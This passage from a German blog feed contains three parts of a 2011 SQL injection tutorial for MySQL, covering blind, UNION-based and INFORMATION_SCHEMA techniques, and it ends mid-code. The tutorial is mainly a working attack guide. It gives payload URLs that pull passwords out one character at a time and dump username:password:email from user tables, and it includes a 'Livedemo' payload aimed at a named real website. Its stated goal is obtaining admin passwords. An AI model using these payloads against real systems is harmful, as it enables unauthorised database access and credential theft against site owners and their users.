Injection?&lt;/em&gt;&lt;br /&gt;Nach “Blind SQL Injection” Methode geht man normal dann vor, wenn man  keine Ausgabe hat, die MySQL Version 3 ist, oder auf dem Server “UNION”  aus welchem Grund auch immer nicht verfuegbar ist. Meistens jedoch wenn  keine Ausgabe da ist. Bei einer Blind SQL Injection geht man normal so  vor, dass man den Server quasi eine Frage stellt und dieser kann nur &lt;strong&gt;JA oder NEIN (True/False) antworten&lt;/strong&gt;.  Eine Blind SQL Injection dauert normal verdammt lange, wenn man das per  Hand macht. Scripts helfen auch hierbei wieder. Was man sich auch noch  merken kann/sollte: Eine Blind SQL Injection ist normal auch immer dann  möglich, wenn eine normale SQL Injection möglich ist, umgekehrt jedoch  nicht. &lt;br /&gt;Fangen wir auch gleich an… wieder mit and 1 = 0 und and 1 = 1 um zu  testen wie/ob der server auf True/False statements reagiert. Wenn ja ist  aufjedenfall ne Blind SQL Injection moeglich.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and 1 = 0&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wichtig: Die ID muss gültig bleiben, kein minus oder ähnliches  davor. Nun sollte unser Inhalt fehlerhaft dargestellt werden bzw etwas  fehlen. Dann testen wir ein True Statement:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and 1 = 1&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Nun sollte die Page normal angezeigt werden ohne Fehler. Sollte sich  von 1 = 0 und 1 = 1 der Inhalt bzw die Seite sich kaum aendern testet es  mit einem hochkomma ‘ hinter der 5. Wenn sich dann nichts aendert ist  meistens keine Blind SQL Injection moeglich (gibt auch noch moölichkeit  and ’1′ = ’0′ zu verwenden..)&lt;br /&gt;So wir gehen davon aus, dass unsere Page verwundbar ist. Fangen wir nun richtig an &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;br /&gt;&lt;em&gt;1) MySQL Version herrausfinden&lt;/em&gt;&lt;br /&gt;Funktioniert wie bei einer normalen SQL Injection, verwendet wird version() oder @@version.&lt;br /&gt;Nur arbeitet man hier mit SUBSTRING, dass heißt das nur ein Teil von einem String ausgegeben wird. Weiteres dazu → Google &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and SUBSTRING(version(),1,1)=5&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;/* bzw. – wird normal nicht mehr benoetigt, da es das andere Query nicht groß stoert.&lt;br /&gt;SUBSTRING(version() ← fragt nach der MySQL Version&lt;br /&gt;,1,1 ←  ab dem ersten Zeichen mit der Laenge 1&lt;br /&gt;=5 ← fragt ob die MySQL Version mit 5 beginnt&lt;br /&gt;Fraegt quasi:&lt;br /&gt;… id=5 und “der erste Buchstabe der Version() faengt mit 5 an”. &lt;br /&gt;Wenn dort nun die Page richtig angezeigt wird, dann ist es MySQL v5. Wenn nun die Page falsch angezeigt wird, probiert =4&lt;br /&gt;Nun sollte die Page richtig geladen werden, da eins der beiden  Statements true ist. Wenn nich probiert =3, hatte ich schon paar mal,  jedoch ist das selten.&lt;br /&gt;&lt;em&gt;2) Blind SQL Injection durchfuehren&lt;/em&gt;&lt;br /&gt;Da wir per SUBSTRING arbeiten, brauchen wir auch kein UNION.&lt;br /&gt;Es gibt verschiedene Wege herauszufinden, welche Tabellen und columns  existieren. Jedoch da eine Blind SQL Injection ist, bringt uns das  nicht arg viel, da nur TRUE/FALSE ausgegeben wird. Außer es ist MySQL 5  wegen der DB INFORMATION_SCHEMA. Klar, wenn man das gut kann, kann man  auch Befehle wie LIKE usw. anwenden und so schauen was fuer Tabellen  existieren, jedoch zeige ich euch einen Weg der stark an MySQL v4  Methode erinnert, und zwar – raten &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;br /&gt;Ist aehnlich wie ein normales SQL Injections Query nur muessen wir fragen, ob es stimmt, was wir angeben.&lt;br /&gt;Pruefen koennen wir das mithilfe von ASCII. Mehr zu ASCII + Tabelle: &lt;a href="http://de.wikipedia.org/wiki/ASCII-Tabelle"&gt;http://de.wikipedia.org/wiki/ASCII-Tabelle&lt;/a&gt;&lt;br /&gt;Wir gehen nun davon aus, dass wir wissen wie die Tabellen und Spalten  sind. Wie man das rausfindet, raten oder eben Scripts verwenden,  darkc0de.com hat gute Python Scripts was Blind SQL Injections angeht,  bei bedarf lad ichs auch schnell hoch. Vorallem mit MySQL 5 kommt dieses  Script super zurecht. So nun wollen wir anfangen, im normallfall geht  man immer Buchstabe fuer Buchstabe vor:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))&amp;gt;80&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Erklaerung:&lt;br /&gt;and ASCII( ← Nach dem ASCII wert wird gefragt&lt;br /&gt;SUBSTRNG( ← wird wieder Substring angewendet&lt;br /&gt;(SELECT ← wird eine klammer benutzt&lt;br /&gt;SELECT password FROM users ← wird wieder normal nach dem password aus der Tabelle `users`&lt;br /&gt;limit 0,1) ← Wird nach der aller ersten Zeile gefragt + Query geschlossen&lt;br /&gt;,1,1) ← 1 Zeichen, 1 Laenge&lt;br /&gt;)&amp;gt;80 ← Ob die ERSTE stelle des PW einen ASCII wert hat der GrOEßER ist als 80&lt;br /&gt;Wenn nun die Page richtig angezeigt wird, dann ist der ASCII wert groeßer als 80.. weiter testen..&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))&amp;gt;90&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Nun wird die Page fehlerhaft angezeigt, bzw. der Inhalt ist nicht  ganz zu sehen, also ist das Statement falsch. Der ASCII Wert von der  ersten Stelle des Pws is also kleiner als 90.. probieren wir 85&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))&amp;gt;85&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;True..&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))&amp;gt;86&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;False. Also ist der ASCII wert NICHT GrOEßER als 86 sondern = 86. Testen koennt ihr das mit&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))=86&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wenn nun der Inhalt richtig angezeigt wird, ist der ASCII Wert 86.&lt;br /&gt;Also erste Stelle des PW, schauen wir auf unserer ASCII-Tabelle nach..&lt;br /&gt;86 – V&lt;br /&gt;Also beginnt unser PW mit einem großen V&lt;br /&gt;Nun die zweite Stelle des Pws.. &lt;strong&gt;),2,1)&lt;/strong&gt; Da nach der Zweiten Stelle gefragt wird.. sieht etwa so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))&amp;gt;90&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;False.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))&amp;gt;80&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;False.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))&amp;gt;50&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;True.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))&amp;gt;52&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;False&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="tex" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))=52&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;True.&lt;br /&gt;Also ist der ASCII wert 52. → 4 laut unserer ASCII Tabelle.&lt;br /&gt;Also sieht unser PW bis jetzt so aus: V4&lt;br /&gt;Nun &lt;strong&gt;),3,1)&lt;/strong&gt;.. usw.. ich denke ihr wisst nun wie &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;br /&gt;Das macht ihr solange bis&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),XX,1))&amp;gt;1&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;False ist. &lt;br /&gt;Klar gibt’s fuer so was auch wieder nen Skript (darkc0de.com),  welches das alles erleichtert. Aber echte Inject0r machen das per Hand  =D&lt;br /&gt;So das war nun mein Tutorial ueber Blind SQL Injections, ich hoffe  das man es verstehen konnte, und ja, im vorerst letzten Teil der SQL  Injection Tutorial Reihe gehen wir auf Schritte bei einer SQL Injection  ein, die man als Anfänger nicht zu wissen braucht.&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-6632998522593114063?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/6632998522593114063/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/sql-injection-tutorial-teil-3.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/6632998522593114063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/6632998522593114063'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/sql-injection-tutorial-teil-3.html' title='SQL Injection Tutorial Teil 3'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-6925647459834173743</id><published>2011-04-10T01:38:00.000-07:00</published><updated>2011-04-10T01:38:33.178-07:00</updated><title type='text'>SQL Injection Tutorial Teil 2</title><content type='html'>&lt;div class="entry"&gt;&lt;div class="entry-bottom"&gt;   Heyho,&lt;br /&gt;Im 2. Teil meines Tutorials wird sich alles mehr auf MySQL v5 beziehen.&lt;br /&gt;Noch ein paar Nachträge zum ersten Teil:&lt;br /&gt;Zum Punkt ausgeben, mit concat(username,0x3a,password) lohnt es sich  ab Ausgaben von 3 oder mehr Columns, also zum Beispiel noch eMail, die  Funktion &lt;strong&gt;concat_ws()&lt;/strong&gt; zu benutzten. Das sieht dann so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat_ws(0x3a,username,password,email),3/**/FROM/**/users/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Vorraussetzung ist, dass der Column eMail auch existiert.&lt;br /&gt;Die Ausgabe sieht dann so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;Username:Password:eMail&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Da es noch was wegen dem “and” gab.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and 1 = 0&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Das and 1 = 0 fragt hier ob 1 = 0 ist. Da 1 != 0 ist, ist das also  Falsch (false) und daher sollte wenn etwas vuln ist, auf der Page  inhaltlich etwas fehlen oder eben auch nen error erscheinen.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5 and 1 = 1&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Sollte die Page normal anzeigen, da 1=1 ist, und logisch auch richtig  ist. Das “sagt” dann so viel wie “Zeige id=5 wenn 1=1 ist”. Daher  sollte hier der Inhalt richtig angezeigt werden.&lt;br /&gt;So nun zum eigentlichen Tutorial, wenn wir nun die Anzahl der Columns  mit Order By rausbekommen haben, UNION SELECT 1,version(),3  funktioniert und wir dort Version &lt;strong&gt;5&lt;/strong&gt;.0.45-community oder  5.x.x rausbekommen, dann haben wir im Normalfall auch Zugriff auf die  Datenbank INFORMATION_SCHEMA. Mehr dazu hier: &lt;a href="http://dev.mysql.com/doc/refman/5.1/de/information-schema.html"&gt;*klick*&lt;/a&gt;  (die MySQL Documentation kann oft hilfreich sein). Im Normallfall  werden dort quasi alle Tabellen/Columns gespeichert, welche sich auf der  DB befinden. Dies ist ein extremer Vorteil, den so koennen wir uns alle  Datenbanken, Tabellen und Spalten ausgeben lassen. Vorallem gibts fuer  v5 auch einige gute Scripts, welche einem die ganzen DB/Tables/Columns  rausschreibt.&lt;br /&gt;Ich gebe mir das mit conat_ws aus. Wir wollen uns nun ausgeben: &lt;strong&gt;DATENBANK:TABELLE:SPALTE&lt;/strong&gt;&lt;br /&gt;Das ganze muessen wir so gestalten:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,table_schema,table_name,column_name),3/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Bis ~ 180 kommen tabellen von INFORMATION_SCHEMA welche uninteressant  sind, ab ~ Limit 180 werden uns die Daten von anderen DBs ausgegeben,  welche dann fuer uns auch interessant sind. Zuerst zum LIMIT, was  bewirkt das? Das LIMIT wählt den Datensabsatz/Reihe aus, welche  ausgelesen werden soll. 0,1 bzw 1,1 waere der erste Datensatz, 2,1 wäre  der Zweite usw..&lt;br /&gt;Nun wird uns ausgegeben:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;Datenbankname:tabellenname:spaltenname&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;strong&gt;Wichtig:&lt;/strong&gt; Ihr müsst beachten, wenn sich mehrere  Datenbanken auf dem Server befinden, muessen wir die richtige DB im  FROM Statement mit einem Punkt auswählen. Das heißt, wenn die DB lol  heißt und die Tabelle users dann sieht das so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;... FROM lol.users...&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Daher haben wir hier auch INFROMATION_SCHEMA.COLUMNS genommen, da in  der Tabelle Columns man DB name, tabellen name und column name auslesen  kann, ist manchmal sehr wichtig.&lt;br /&gt;Dann gehen wir das Limit durch, wenn ihr nun irgendwann bei  webuser:users:username bei LIMIT 301,1 und bei 302,1  webuser:users:password steht (db name is frei erfunden), dann wissen wir  nun “aha die DB heißt webuser, die Tabelle heißt users und die Spalten  sind username und password”. Koennt auch noch 303,1 machen usw..  irgendwann erscheint ein error (oder eine weiße seite) und dann wisst  ihr, dass ihr am Ende seid und nicht weitere Tabellen mehr existieren.  Ist natürlich totaler Schwachsinn das immer eins aufzuzählen, ich mach das  in 50er-Schritten. Wie gesagt, Scripts können hier helfen, darkc0de hat  tolle Python scripts. Ansonsten einfach in Schritten weiter machen, ob  ihr irgendeine tabelle mit users oder admins oder ähnliches seht und  dann dort eben in 1er schritten weiter.&lt;br /&gt;Wenn wir nun unsere Daten haben, machen wir wie bei Teil 1 weiter:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Aufjedenfall hilft, wie ihr seht, MySQL version 5.x.x um einiges  weiter, da wir hier nicht Tabellen Namen irgendwie erraten muessen &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;br /&gt;Das war nun Teil 2 von meiner Tutorial Reihe, der kürzeste Teil, da man zu Version 5 nicht viel erzählen kann.&lt;br /&gt;Hier noch schnell eine Livedemo:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.sbcommunicationsgroup.com/media-info.php?id=-1/**/UNION/**/SELECT/**/1,2,3,concat_ws(0x3a,table_schema,table_name,column_name)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Aufjedenfall hoffe ich, dass ihr dieses Tutorial mehr oder weniger  verstanden habt und es vorallem Neulingen bzw Anfängern geholfen hat. &lt;img alt=":)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif" /&gt; &lt;br /&gt;Teil 3 über Blind SQL Injections wird bald folgen, schon fast alles fertig!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~fred&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-6925647459834173743?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/6925647459834173743/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/sql-injection-tutorial-teil-2.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/6925647459834173743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/6925647459834173743'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/sql-injection-tutorial-teil-2.html' title='SQL Injection Tutorial Teil 2'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-3408414178206318626</id><published>2011-04-10T00:01:00.000-07:00</published><updated>2011-04-10T00:09:23.053-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>SQL Injection Tutorial Teil 1</title><content type='html'>&lt;div class="entry"&gt;&lt;div class="entry-bottom"&gt;   Heyhoo,&lt;br /&gt;wie versprochen werde ich nun, nachdem sich der ganze Schulkram etwas gelegt hat,&amp;nbsp; das vielleicht von einigen lang erwartete SQL  Injection Tutorial schreiben.&amp;nbsp; Das Tutorial bezieht sich auf eine MySQL Datenbank. Auf  MS SQL oder ähnliches sieht das ganze total anders aus. Da MySQL die  “populärste Open Source” Datenbank ist, wird sie daher auch am  häufigsten verwendet.&lt;br /&gt;&lt;em&gt;Was ist eine SQL Injection?&lt;/em&gt;&lt;br /&gt;Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:&lt;br /&gt;&lt;blockquote&gt;SQL-Injection (dt. SQL-Einschleusung) bezeichnet das  Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken,  die durch mangelnde Maskierung oder Überprüfung von Metazeichen in  Benutzereingaben entsteht. Der Angreifer versucht dabei, über die  Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene  Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne  zu verändern oder Kontrolle über den Server zu erhalten.&lt;/blockquote&gt;Heißt kurz und knapp, ihr koennt an das Admin PW kommen. &lt;img alt=":D" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_biggrin.gif" /&gt; &lt;br /&gt;Nun ich werde das Tutorial in mehrere Teile aufteilen, der erste Teil wird der längste und ausführlichste sein.&lt;br /&gt;Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2  MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL  Injections und Teil 4 wird tiefer eingehen.&lt;br /&gt;Dann fangen wir mal an &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;br /&gt;&lt;em&gt;0. Vorwort&lt;/em&gt;&lt;br /&gt;Es wird oft behauptet, das PHP &amp;amp; MySQL Wissen für eine SQL  Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht  ganz richtig. Klar, wenn man PHP &amp;amp; MySQL beherrscht, dann wird man öfters und schneller Lücken finden. Auch wird man Lücken  nachvollziehen können; warum sie dort sind und wie man es verhindern  kann. Jedoch um eine SQL Injection zu produzieren, ist meiner Meinung nach,  kein PHP &amp;amp; MySQL Wissen vorrausgesetzt, man sollte nur mit Order by  und UNION SELECT umgehen können. Das reicht dann auch für ne normale  SQL Injection.&lt;br /&gt;&lt;em&gt;1) Nach einer Luecke suchen&lt;/em&gt;&lt;br /&gt;Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter  einfach ein Hochkomma (dieses ‘) dranhängen um einen Error auszuloesen,  beispiel:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5'&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wenn sich an der Seite nun nichts ändert, dann ist sie relativ  sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:&lt;br /&gt;&lt;blockquote&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…&lt;/blockquote&gt;Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt  jedoch auch einige andere MySQL Error die Verwundbarkeit zeigen.&lt;br /&gt;Schauen wir uns das mal genauer in einem Beispiel Source an:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="mysql" style="font-family: monospace;"&gt;&lt;span style="color: #990099; font-weight: bold;"&gt;SELECT&lt;/span&gt; &lt;span style="color: #cc0099;"&gt;*&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;FROM&lt;/span&gt; news &lt;span style="color: #990099; font-weight: bold;"&gt;WHERE&lt;/span&gt; id &lt;span style="color: #cc0099;"&gt;=&lt;/span&gt; &lt;span style="color: teal;"&gt;5&lt;/span&gt;&lt;span style="color: green;"&gt;'&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Hier sieht man das unser Hochkomma das Query stört.&lt;br /&gt;(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen  bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert”  werden, dann wäre auch keine SQL Injection möglich)&lt;br /&gt;Aber unser Query koennte auch so aussehen:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="mysql" style="font-family: monospace;"&gt;&lt;span style="color: #990099; font-weight: bold;"&gt;SELECT&lt;/span&gt; &lt;span style="color: #cc0099;"&gt;*&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;FROM&lt;/span&gt; news &lt;span style="color: #990099; font-weight: bold;"&gt;WHERE&lt;/span&gt; id &lt;span style="color: #cc0099;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;'5'&lt;/span&gt;&lt;span style="color: green;"&gt;'&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Jedoch auch hier sieht man was stört. Nämlich unser Hochkomma ‘  welches das Query unterbricht. Nun haben wir eine Lücke gefunden.&lt;br /&gt;Man kann dies jedoch auch mit &lt;strong&gt;and 1 = 0&lt;/strong&gt; und &lt;strong&gt;and 1 = 1&lt;/strong&gt;,  also False oder True prüfen, bei 1=1 sollte die Page ohne fehler  angezeigt werden und bei 1 = 0 sollte die Page verändert angezeigt  werden, das heißt das etwas Inhalt fehlt, sich der Inhalt ändert, oder  ne Fehlermeldung kommt. Seht ihr dann auch.&lt;br /&gt;&lt;em&gt;2) Anzahl der Columns rausfinden&lt;/em&gt;&lt;br /&gt;Da wir später den Befehl UNION benutzen wollen (dazu später mehr),  brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt  wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns  ausgewählt werden, würde unser Query aber so aussehen:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="mysql" style="font-family: monospace;"&gt;&lt;span style="color: #990099; font-weight: bold;"&gt;SELECT&lt;/span&gt; author&lt;span style="color: #000033;"&gt;,&lt;/span&gt;datum&lt;span style="color: #000033;"&gt;,&lt;/span&gt;&lt;span style="color: #999900; font-weight: bold;"&gt;text&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;FROM&lt;/span&gt; news &lt;span style="color: #990099; font-weight: bold;"&gt;WHERE&lt;/span&gt; id &lt;span style="color: #cc0099;"&gt;=&lt;/span&gt; &lt;span style="color: teal;"&gt;5&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Dann wäre die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da  man jedoch im normalfall kein Query sehen sollte, müssen wir das  Mithilfe vom SQL Statement &lt;strong&gt;Order By&lt;/strong&gt; testen.&lt;br /&gt;Das sieht dann etwa so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5+order+by+1/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite  nun normal angezeigt wird, dann hat die Page mehr als einen Column.&lt;br /&gt;Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhängen, dies ist Query abhängig.&lt;br /&gt;Falls noch ein Error kommt, müssen wir unsere Abfrage mit einem anderen Kommentarzeichen ändern. &lt;strong&gt;/*&lt;/strong&gt;,&lt;strong&gt;–(doppel minus)&lt;/strong&gt;,&lt;strong&gt;#&lt;/strong&gt;  kommentieren ein Query aus. Dies sollte man normalerweise immer benutzen, also  entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem  langen Query wichtig ist um Fehler zu vermeiden wenn das Query  weitergeht.&lt;br /&gt;Also testen wir Order By weiter bis ein Error erscheint.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5+order+by+5/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&amp;lt;-- aha, Error kommt. Also sind es weniger als 5 columns, oft  erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“&lt;br /&gt;http://www.site.de/news.php?id=5 +order+by+3/* &amp;lt;-- kein Error&lt;br /&gt;http://www.site.de/news.php?id=5 +order+by+4/* &amp;lt;-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam.&lt;br /&gt;Nun haben wir die Column Anzahl vom ersten Query.&lt;br /&gt;&lt;em&gt;3) UNION verwenden&lt;/em&gt;&lt;br /&gt;Durch UNION können wir quasi aus einem Query zwei machen. Vorraussetzung ist, &lt;strong&gt;UNION&lt;/strong&gt; SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="mysql" style="font-family: monospace;"&gt;&lt;span style="color: #990099; font-weight: bold;"&gt;SELECT&lt;/span&gt; author&lt;span style="color: #000033;"&gt;,&lt;/span&gt;datum&lt;span 